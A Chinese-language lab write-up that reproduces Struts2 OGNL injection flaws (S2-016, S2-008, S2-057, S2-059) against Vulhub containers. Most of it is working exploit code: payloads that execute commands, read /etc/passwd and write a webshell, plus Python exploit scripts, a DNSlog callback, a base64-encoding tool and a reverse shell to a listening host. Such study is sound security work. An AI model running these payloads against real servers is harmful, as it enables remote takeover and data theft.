抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

实验环境

Vulhub靶场,struts2漏洞复现

Ubuntu: 腾讯云服务器,Ubuntu Server 20.04 LTS 64bit

靶场:https://github.com/vulhub/vulhub.git

前言

前期知识储备,跳转blog:https://gryffinbit.top/2022/10/14/struts%E4%BB%8B%E7%BB%8D%E4%BB%A5%E5%8F%8Aognl%E8%A1%A8%E8%BE%BE%E5%BC%8F/

漏洞原理

S2-016

更详细的逆向过程👇

https://blog.csdn.net/Fly_hps/article/details/85035223

struts2的action、redirect、redirectAction前缀参数,在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接进Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,今儿可执行任意命令。

redirect:redirectAction: 此两项前缀为Struts默认开启功能。

在struts2中,DefaultActionMapper类支持以"action:"“redirect:”"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令.

访问http://ip/index.action?redirect:OGNL表达式即可执行OGNL表达式。

S2-008

S2-008涉及多个漏洞,cookie拦截器配置错误可造成ognl表达式执行,但是由于大多web容器对cookie名称都有字符限制,所以这个漏洞不常用。

生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令

S2-057

远程代码执行漏洞。

影响版本: <= Struts 2.3.34, Struts 2.5.16

利用条件:

  1. alwaysSelectFullNamespace值为true

  2. Struts2配置文件中,action元素未设置namespace属性,或使用了通配符

漏洞分析:

通过TextParseUtil.translateVariables()调用OgnlTextParser.evaluate()解析执行url中的OGNL表达式,导致代码执行

S2-059

由于标签属性值进行二次表达式解析而产生的命令注入漏洞

利用条件:

必须开启AltSyntax(它的功能是将标签内的内容当作ognl表达式解析。)

版本为 Struts 2.0.0 - Struts 2.5.20

漏洞分析

id属性进行二次解析,导致命令注入。

第一次解析:一步步调用,最终调用了OgnlTextParser.evaluate()方法。进行了解析

第二次解析:调用了``findStringIfAltSyntax()方法,开启altSyntax功能的话,则会对id`属性再次进行表达式解析。

漏洞复现

S2-016

  • 进入靶场 http://ip:8080/

  • 系统命令执行POC

    1. 执行命令name -a

      1
      redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
    2. 需要先将POC进行一次url编码:

      1
      redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
    3. 拼接上靶场地址 http://ip:8080/index.action

      1
      http://ip:8080/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
    4. 得到一个下载文件

    5. 修改文件后缀为.html,得到执行结果

    6. 可以得到用户b2fdbd82760b,实际上它是docker的容器ID

      (docker漏洞靶场视角👇)

    7. 解密Linux版本信息

      1
      Linux b2fdbd82760b 5.4.0-96-generic #109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 x86_64 GNU/Linux 
      1
      2
      3
      4
      5
      6
      7
      Linux –- 内核名称
      b2fdbd82760b–- 节点名
      x86_64 –- 机器硬件名
      5.4.0-96-generic –- 内核发布版本
      #109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 -- 内核版本
      GNU/Linux –- 操作系统

      其他的还有:处理器、硬件平台。这里没有显示,大部分是x86_64

    8. 内核发行数据

      1
      2
      3
      4
      5
      5 表示内核版本
      4 表示主要版本
      0 表示次要版本
      96 表示最新补丁
      #109 表示此发布版本已经编译了109次
  • 获取web目录POC

    1. POC

      1
      redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
    2. URL编码

      1
      redirect%3A%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
    3. 拼接靶场地址

      1
      http://ip:8080/index.action?redirect%3A%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
    4. 得到web目录

  • 写入webshell

    1. poc

      1
      redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
    2. url编码

      1
      redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%221.jspx%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22BINGO%22)%2C%23genxor.flush()%2C%23genxor.close()%7D
    3. 拼接靶场地址

      1
      http://ip:8080/index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.io.FileOutputStream(new%20java.lang.StringBuilder(%23a.getRealPath(%22%2F%22)).append(%40java.io.File%40separator).append(%221.jspx%22).toString())%2C%23b.write(%23a.getParameter(%22t%22).getBytes())%2C%23b.close()%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%22BINGO%22)%2C%23genxor.flush()%2C%23genxor.close()%7D
    4. 执行结果。上传成功


S2-008

在devmode模式下直接添加参数?debug=command&expression=<OGNL EXP>,会直接执行后面的ognl表达式,因此可以直接执行命令.

环境成功启动

  • 文件读取

    1. POC

      1
      /devmode.action?debug=command&expression=(#w=new java.io.File("/etc/passwd"),#a=new java.io.FileInputStream(#w),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#d)),#f.getWriter().flush(),#f.getWriter().close())
    2. 进行URL编码

      1
      /devmode.action?debug=command&expression=%28%23w%3Dnew%20java.io.File%28%22%2fetc%2fpasswd%22%29%2C%23a%3Dnew%20java.io.FileInputStream%28%23w%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23d%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
    3. 执行

  • 命令执行

    1. POC

      执行的命令为读取/etc/passwd文件

      1
      /devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())
    2. URL编码

    1
    /devmode.action?debug=command&expression=%28%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2fetc%2fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29
    1. 执行


      执行ls

      1
      /devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())

      编码

      1
      http://localhost:8080/devmode.action?debug=command&expression=(%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close())

S2-057

环境启动

http://localhost:8080/struts2-showcase

验证漏洞是否存在

进行一个算数,看是否返回结果

{7*7}要进行url编码,结果如下

1
http://your-ip:8080/struts2-showcase/$%7B7*7%7D/actionChain1.action

抓包,得到了算数结果49.说明存在该漏洞

  1. POC验证

    1
    http://ip:8080/struts2-showcase/<ognl表达式>/actionChain1.action

    执行系统命令 id

    1
    2
    ${
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    url编码

    1
    2
    %24%7B
    (%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

    执行其他命令的结果(ls)👇


S2-059

该漏洞跟057差不多,它利用的是id标签的二次解析。

环境启动

http://ip:8080/.action

验证漏洞是否存在

1
http://your-ip:8080/?id=%25%7B233*233%7D

可以计算出233*233的结果

官方POC验证

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

执行poc后,进入容器,发现命令touch /tmp/success被成功执行,生成了success文件。

其他POC验证方式

  • DNSlog带出回显

    • 回显,可以修改成ping xxx.dnslog.cn,直接执行,带出回显。

    • python执行

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      import requests

      url = "http://127.0.0.1:8080"
      data1 = {
      "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
      }
      data2 = {
      "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('ping erp3sn.dnslog.cn'))}"
      }
      res1 = requests.post(url, data=data1)
      # print(res1.text)
      res2 = requests.post(url, data=data2)
      # print(res2.text)

  • 反弹shell

    base编码小工具

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    <!DOCTYPE html>
    <html>
    <head>
    <title>java runtime exec usage...</title>
    </head>
    <body>
    <p>Input type:
    <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
    <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
    <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
    <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
    <textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

    <script>
    var taInput = document.querySelector('textarea#input');
    var taOutput = document.querySelector('textarea#output');

    function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
    case 'bash':
    taInput.placeholder = 'Type Bash here...'
    taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
    break;
    case 'powershell':
    taInput.placeholder = 'Type PowerShell here...'
    poshInput = ''
    for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
    taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
    break;
    case 'python':
    taInput.placeholder = 'Type Python here...'
    taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
    break;
    case 'perl':
    taInput.placeholder = 'Type Perl here...'
    taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
    break;
    default:
    taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
    }

    taInput.addEventListener('input', processInput, false);
    </script>
    </body>
    </html>

    编码

    python执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import requests

    url = "http://192.168.0.14:8080"
    data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
    }
    data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
    }
    res1 = requests.post(url, data=data1)
    # print(res1.text)
    res2 = requests.post(url, data=data2)
    # print(res2.text)

    监听

    1
    nc -lvnp 6666

    攻击测试成功

参考文章

https://blog.csdn.net/weixin_42633229/article/details/117087180

https://www.51cto.com/article/621101.html

https://www.codercto.com/a/22088.html

https://zhuanlan.zhihu.com/p/348999160

https://github.com/vulhub/vulhub/tree/master/struts2/

https://blog.csdn.net/T780000063/article/details/111054037

评论